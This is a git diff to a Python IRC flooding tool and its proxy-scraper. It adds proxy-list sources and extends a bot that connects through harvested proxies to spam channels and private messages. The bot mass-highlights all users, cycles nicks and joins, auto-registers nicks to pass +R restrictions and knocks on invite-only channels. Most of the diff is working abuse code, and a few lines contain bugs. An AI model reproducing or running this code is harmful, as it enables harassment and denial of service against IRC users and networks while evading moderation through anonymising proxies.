diff --git a/config.py b/config.py index 5b0c2a8..608a05d 100644 --- a/config.py +++ b/config.py @@ -55,18 +55,21 @@ class Config(ComboParser): section = 'flood' self.add_item(section, 'server', str, None, 'irc server address', False) self.add_item(section, 'target', str, '#flood', 'target to flood', False) - self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False) + self.add_item(section, 'nickserv', str, 'nickserv', "nickserv's nickname", False) self.add_item(section, 'message', str, None, 'message', False) self.add_item(section, 'threads', int, 1, '# of threads', False) self.add_item(section, 'register', int, 0, 'register nickname when required', False) self.add_item(section, 'once', int, 0, 'quit as soon as possible', False) + self.add_item(section, 'hilight', int, 0, 'try to hilight all nicks?', False) self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False) self.add_item(section, 'debug', int, 0, 'use debug', False) - self.add_item(section, 'duration', int, 90, 'maximum time to run ', False) - self.add_item(section, 'delay', int, 14400, 'if waitonsuccess, wait for $delay before sending another bot', False) + self.add_item(section, 'duration', int, 180, 'maximum time to run', False) + self.add_item(section, 'delay', str, 14400, 'if waitonsuccess, wait for $delay before sending other bots', False) + self.add_item(section, 'nick', str, None, 'specify nickname to use', False) self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random)', False) self.add_item(section, 'cycle', int, 0, 'cycle flood', False) self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates)', False) self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout', False) self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run', False) + self.add_item(section, 'noquerybefore', int, 10, 'do not send query before x secs being connected', False) diff --git a/import.txt b/import.txt index 2b0f4e0..54089eb 100644 --- a/import.txt +++ b/import.txt @@ -1,3 +1,12 @@ +https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt +https://raw.githubusercontent.com/KUTlime/ProxyList/main/ProxyList.txt +https://raw.githubusercontent.com/DarlingSh1337/HTTP-SENPAI/main/http.txt +https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt +https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list.txt +https://www.proxy-list.download/SOCKS4 +https://www.proxy-list.download/SOCKS5 +https://api.proxyscrape.com/?request=getproxies&proxytype=socks5&timeout=10000&country=all +https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all https://hidemy.name/en/proxy-list/ https://hideip.me/en/proxy/socks5list https://www.proxyrack.com/free-proxy-list/ @@ -2841,26 +2850,7 @@ https://webanetlabs.net/publ/24-86 https://webanetlabs.net/publ/24-87 https://webanetlabs.net/publ/8 https://whoer.net/your-anonymity -https://www.100gbps.club/author/100gbps/ -https://www.100gbps.club/category/fresh-free-proxy-list/page/2/ https://www.100gbps.club/proxy/s4.php -https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-3/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-4/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-5/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-2/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-3/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-4/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020-2/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020-3/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-07-april-2020-2/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-07-april-2020/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-08-april-2020-2/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-08-april-2020/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-10-april-2020/ -https://www.100gbps.club/sock4-fresh-free-proxy-list-12-april-2020-2/ -https://www.alltechbuzz.net/top-best-free-proxy-sites-servers-2018/ https://www.babaproxy.com/http.php https://www.babaproxy.com/https.php https://www.babaproxy.com/socks.php @@ -2868,7 +2858,6 @@ https://www.codeproject.com/Articles/336/SOCKS-Proxy-SSL-Tunnel https://www.coderduck.com/free-proxy-list https://www.dailyfreeproxy.com/feeds/posts/default https://www.dailyproxylists.com/ -https://www.easycounter.com/report/api.proxyscrape.com https://www.freelists.org/ https://www.freelists.org/about.html https://www.freelists.org/cat/1 @@ -5420,6 +5409,11 @@ https://www.hybrid-analysis.com/sample/1f56ae49fd416cdcdfb0edfe3ef93b5f609fbfe0a https://www.listproxy.net/ https://www.maxmind.com/en/high-risk-ip-sample-list https://www.my-proxy.com/free-anonymous-proxy.html +https://www.my-proxy.com/free-transparent-proxy.html +https://www.us-proxy.org/ +https://free-proxy-list.net/ +https://www.socks-proxy.net/ +https://www.sslproxies.org/ https://www.my-proxy.com/free-elite-proxy.html https://www.my-proxy.com/free-proxy-list-1.html https://www.my-proxy.com/free-proxy-list-10.html @@ -5447,11 +5441,6 @@ https://www.my-proxy.com/free-proxy-list.html?list=s3 https://www.my-proxy.com/free-socks-4-proxy.html https://www.my-proxy.com/free-socks-5-proxy.html https://www.my-proxy.com/free-transparent-proxy.html -https://www.naturestherapy101.com/AGkYuVm6 -https://www.naturestherapy101.com/CUnKjkCb -https://www.naturestherapy101.com/CzSRGHve -https://www.naturestherapy101.com/JhR1yX4u -https://www.naturestherapy101.com/r2SfTwH9 https://www.newproxys.com/free-proxy-lists/ https://www.npmjs.com/package/proxy-list-random https://www.npmjs.com/package/proxylist @@ -5461,12 +5450,24 @@ https://www.proxy24.me/proxy/socks https://www.proxy24.me/proxy/socks/1 https://www.proxy24.me/proxy/socks/2 https://www.proxy24.me/proxy/socks/3 +https://www.proxy24.me/proxy/socks/4 +https://www.proxy24.me/proxy/socks/5 +https://www.proxy24.me/proxy/socks/6 +https://www.proxy24.me/proxy/socks/7 +https://www.proxy24.me/proxy/socks/8 +https://www.proxy24.me/proxy/socks/9 +https://www.proxy24.me/proxy/socks/10 https://www.proxy24.me/proxy/ssl https://www.proxybridge.com/anonymous-proxy/ https://www.proxybridge.com/anonymous-proxy/page2/ https://www.proxybridge.com/anonymous-proxy/page3/ https://www.proxybridge.com/anonymous-proxy/page4/ https://www.proxybridge.com/anonymous-proxy/page5/ +https://www.proxybridge.com/anonymous-proxy/page6/ +https://www.proxybridge.com/anonymous-proxy/page7/ +https://www.proxybridge.com/anonymous-proxy/page8/ +https://www.proxybridge.com/anonymous-proxy/page9/ +https://www.proxybridge.com/anonymous-proxy/page10/ https://www.proxybridge.com/proxy-http-distorting/ https://www.proxybridge.com/proxy-http-distorting/?country=at https://www.proxybridge.com/proxy-http-distorting/?country=br diff --git a/ppf.py b/ppf.py index 9aa913d..ccfc1dd 100755 --- a/ppf.py +++ b/ppf.py @@ -260,22 +260,35 @@ class Leechered(threading.Thread): proxy_count = len(self.proxylist) if self.retrievals == 0: # new site - if content != '' and proxy_count == 0: # site works but has zero proxy addresses - #error = 99999 - self.error += 2 - else: + if content != '' and len(self.proxylist) == 0: # site works but has zero proxy addresses self.error += 1 - else: - if len(self.proxylist) == 0: self.stale_count += 1 + elif proxy_count > 0: + self.error = 0 + self.stale_count = 0 + else: + self.error += 2 + self.stale_count += 2 + else: # not a new site + # proxylist is empty + if proxy_count == 0: + self.stale_count += 1 + # proxylist is not empty: site is working else: self.stale_count = 0 + self.error = 0 + # site has no content if content == '': self.error += 1 - else: - self.retrievals += 1 - self.error = 0 + self.stale_count += 1 + #else: + # self.retrievals += 1 + # self.error = 0 + # self.stale_count = 0 + # site has proxies if proxy_count: + self.error = 0 + self.stale_count = 0 extract_urls(content, self.url) self.execute = (self.error, self.stale_count, int(time.time()), self.retrievals, self.proxies_added+len(self.proxylist), self.content_type, self.url) @@ -310,10 +323,10 @@ if __name__ == '__main__': watcherd = None #start_server(config.httpd.listenip, config.httpd.port) - - + #qurl = 'SELECT url,stale_count,error,retrievals,proxies_added,content_type FROM uris WHERE error < ? and (check_time+?+((error+stale_count)*?) 4: chans = random.choice(chans, 4) + if len(nicks) > 4: nicks = random.choice(nicks, 4) + + if len(chans): print('chans: %s' %','.join(chans)) + if len(nicks): print('nicks: %s' %','.join(nicks)) sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick)) + cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle ticks = time.time() sent_ping = False - #ret = True ret = False + connected = False + sentquery = False global is_target_protected global default_threads global waitonsuccess + hilight = {} + while True: if config.flood.duration > 0: if (time.time() - ticks) > config.flood.duration: break - elif waitonsuccess: break - recv = sock.recvline() - if not len(recv): + elif not len(chans) and not len(nicks): + print('no chan nothing') + ret = True break + + try: + recv = sock.recvline() + except: + break + + if not len(recv): break + elif not ' 372 ' in recv: - print(recv.strip()) + _log(recv.strip(), nick) if has_been_lined(recv): ret = False break @@ -117,87 +136,144 @@ def flood(sock): if sent_ping: continue sock.send('%s\r\n' % recv.replace('PING', 'PONG')) sent_ping = True - else: - _split = recv.split(' ') - # irc welcome message - if _split[1] == '001': - send = [] - if config.flood.change_nick and config.flood.message is not None and len(nicks): - for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist))) - if len(chans): - send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs))) - if len(send): - print( '001: sending %s' % '\r\n'.join(send)) - sock.send('\r\n'.join(send)) + continue + elif recv.startswith('HTTP'): break - # end of names list (joined a chan) - elif _split[1] == '366': - ret = True - send = [] - c = _split[3] - - if not c in has_joined: - has_joined.append( c ) - - #elif config.flood.message is not None: - # send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs))) - - if config.flood.cycle: - if config.flood.message is not None: - send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs))) - else: - send.append('PART %s\r\nJOIN %s' %(c,c)) - - if config.flood.once: - send.append('QUIT') - - if len(send): - sock.send('\r\n'.join(send) + '\r\n') - print('366 sent: %s' %'\r\n'.join(send)) - - if config.flood.waitonsuccess: - print('bots should now wait') - waitonsuccess = time.time() - - # nick reseverd or already used - elif _split[1] == '432' or _split[1] == '433': - sock.send('NICK %s\r\n' % random.choice(nicklist)) - - # code 500 - elif _split[1] == '500': - if 'too many join request' in recv.lower(): - time.sleep(3) - sock.send('JOIN %s\r\n' % _split[3]) - - # chan +i - elif _split[1] == '473': - if is_target_protected is not None: break - - is_target_protected = time.time() - default_threads = config.flood.threads - config.flood.threads = 1 - print('target is protected (+i), aborting') - break - - # banned from chan - elif _split[1] == '404': - if 'banned' in recv.lower(): sock.send('KNOCK %s\r\n' % _split[3]) - - # user or chan sets mode +R - elif _split[1] == '477' or _split[1] == '531': - if not config.flood.register: - is_target_protected = time.time() - default_threads = config.flood.threads - config.flood.threads = 1 - print('target is protected (+R), aborting') - break - - sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick)) - time.sleep(1) - if '#' in config.flood.target: - sock.send('JOIN %s\r\n' %config.flood.target) + # flood in PVs + if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks): + if not sentquery or (time.time() - sentquery) > 60: + print('sending queries ?') + if config.flood.change_nick and config.flood.message is not None: + for i in range(config.flood.change_nick): + sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist))) + time.sleep(0.3) elif config.flood.message is not None: - sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) + sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs)))) + sentquery = time.time() + + _split = recv.split(' ') + if _split[1] == 'PONG': + time.sleep(1) + sock.send('PING %d\r\n' % round(time.time() - connected)) + # irc welcome message + elif _split[1] == '001': + connected = time.time() + send = [] + + send.append('PING :%d' %random.random()) + ## spam chans on connect + if len(chans): + send.append('JOIN %s' % ','.join(chans)) + if config.flood.message: + send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs)))) + if cycle: + if config.flood.message: + send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs)))) + else: + send.append('PART %s' %','.join(chans)) + + ## spam nicks on connect + if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore: + if config.flood.change_nick: + for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist))) + else: + send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs)))) + + if len(send): + print( '001: sending %s' % '\r\n'.join(send)) + sock.send('\r\n'.join(send) + '\r\n') + + # end of names list (joined a chan) + elif _split[1] == '366': + ret = True + send = [] + c = _split[3] + if config.flood.hilight: + hl = '' + for n in hilight[c]: + if len(hl): hl = '%s %s' %(hl, n) + else: hl = n + if len(hl) >= 200: break + send.append('PRIVMSG %s :%s' %(c,hl)) + + if not c in has_joined: + has_joined.append(c) + if not c in chans: + chans.append(c) + + if cycle: + if config.flood.message is not None: + send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs)))) + else: + send.append('JOIN %s\r\nPART %s' %(c,c)) + + if config.flood.once: + send.append('QUIT') + + if len(send): + sock.send('\r\n'.join(send) + '\r\n') + print('366 sent: %s' %'\r\n'.join(send)) + + if config.flood.waitonsuccess: + print('bots should now wait') + waitonsuccess = time.time() + + # nick/chan not found + elif _split[1] == '403': + ret = True + if _split[3] in chans: chans.remove(_split[3]) + elif _split[3] in nicks: nicks.remove(split[3]) + + # nick reseverd or already used + elif _split[1] == '432' or _split[1] == '433': + nick = random.choice(nicklist) + sock.send('NICK %s\r\n' % nick) + + elif _split[1] == '353': + if not _split[4] in hilight: hilight[_split[4]] = [] + + for n in _split[5:]: + if n.startswith(':'): n = n.strip(':') + if n.startswith('@'): continue + if n.startswith('%'): continue + if n.startswith('+'): n = n.strip('+') + hilight[_split[4]].append(n) + + # code 500 + elif _split[1] == '500': + if not ret: ret = True + if 'too many join request' in recv.lower(): + time.sleep(10) + sock.send('JOIN %s\r\n' % _split[3]) + + # chan +i + elif _split[1] == '473': + if not ret: ret = True + sock.send('KNOCK %s\r\n' % _split[3]) + if _split[3] in chans: chans.remove( _split[3] ) + + # banned from chan + elif _split[1] == '404': + if not ret: ret = True + if _split[3] in chans: chans.remove( _split[3] ) + + # user or chan sets mode +R + elif _split[1] == '477' or _split[1] == '531': + if not ret: ret = True + + if not config.flood.register: + if _split[3] in chans: chans.remove(_split[3]) + elif _split[3] in nicks: nicks.remove(_split[3]) + print('target "%s" is protected (+R)' % _split[3]) + + else: + sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick)) + time.sleep(1) + #if '#' in config.flood.target: + if len(chans): + sock.send('JOIN %s\r\n' % ','.join(chans)) + if config.flood.message is not None: + sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs)))) if config.flood.once: sock.send('QUIT\r\n') try: sock.disconnect() @@ -221,7 +297,11 @@ class WorkerJob(): #global waitonsuccess #if self.proxy in badlist: return False if config.flood.waitonsuccess and waitonsuccess is not None: - if (time.time() - waitonsuccess) < config.flood.delay: return True + if not '-' in config.flood.delay: + if (time.time() - waitonsuccess) < int(config.flood.delay): return True + else: + s = config.flood.delay.split('-') + if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True srvname = config.flood.server protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto] diff --git a/proxywatchd.py b/proxywatchd.py index b92449a..10487a7 100644 --- a/proxywatchd.py +++ b/proxywatchd.py @@ -129,8 +129,8 @@ class WorkerJob(): self.failcount += failinc return try: - #recv = sock.recv(6) - recv = sock.recvline() + recv = sock.recv(6) + #recv = sock.recvline() # good data if re.match('^(:|NOTICE|ERROR)', recv, re.IGNORECASE): @@ -149,7 +149,6 @@ class WorkerJob(): recvstats = "".join([x if x in string.printable and ord(x) > 32 else '.' for x in recv]) _log('%s://%s (%s) d: %.2f sec(s);%s srv: %s; recv: %s' % (proto, self.proxy, self.country, duration, torstats, srv, recvstats), 'xxxxx') else: - print('bad data: %s' %recv.strip()) self.failcount += 1 except KeyboardInterrupt as e: raise e @@ -384,7 +383,6 @@ class Proxywatchd(): if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0: self.collect_unfinished() if not len(self.jobs): - print('jobs are done ?') self.collect_work() if not self.submit_collected() and self.tor_safeguard: _log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd") @@ -396,6 +394,7 @@ class Proxywatchd(): if len(self.jobs) < len(self.threads): # allow threads enough time to consume the jobs sleeptime = 10 + #if len(self.jobs) >= len(self.threads): if len(self.jobs): _log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'watchd') jpt = len(self.jobs)/len(self.threads) diff --git a/rocksock.py b/rocksock.py index cd5ab38..5483857 100644 --- a/rocksock.py +++ b/rocksock.py @@ -322,9 +322,12 @@ class Rocksock(): s = '' c = '\0' while c != '\n': + try: c = self.recv(1) if c == '': return s s += c + except Exception as e: + raise e return s def recvuntil(self, until):